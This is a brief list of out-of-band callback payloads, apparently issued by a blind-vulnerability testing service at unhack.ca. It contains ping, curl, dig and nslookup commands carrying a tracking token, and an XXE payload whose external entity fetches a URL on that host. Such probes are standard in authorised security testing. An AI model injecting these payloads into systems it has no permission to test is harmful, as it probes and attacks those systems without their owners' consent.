$ ping -c1 -p 00bac859e61bac4f5fff7b28700e5500 unhack.ca
$ curl http://unhack.ca/p/bac859e61bac4f5fff7b28700e55
$ dig bac859e61bac4f5fff7b28700e55 @unhack.ca
$ dig bac859e61bac4f5fff7b28700e55.ns.unhack.ca
C:\> nslookup bac859e61bac4f5fff7b28700e55 unhack.ca
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [<!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "http://unhack.ca/p/bac859e61bac4f5fff7b28700e55">]> <foo>&xxe;</foo>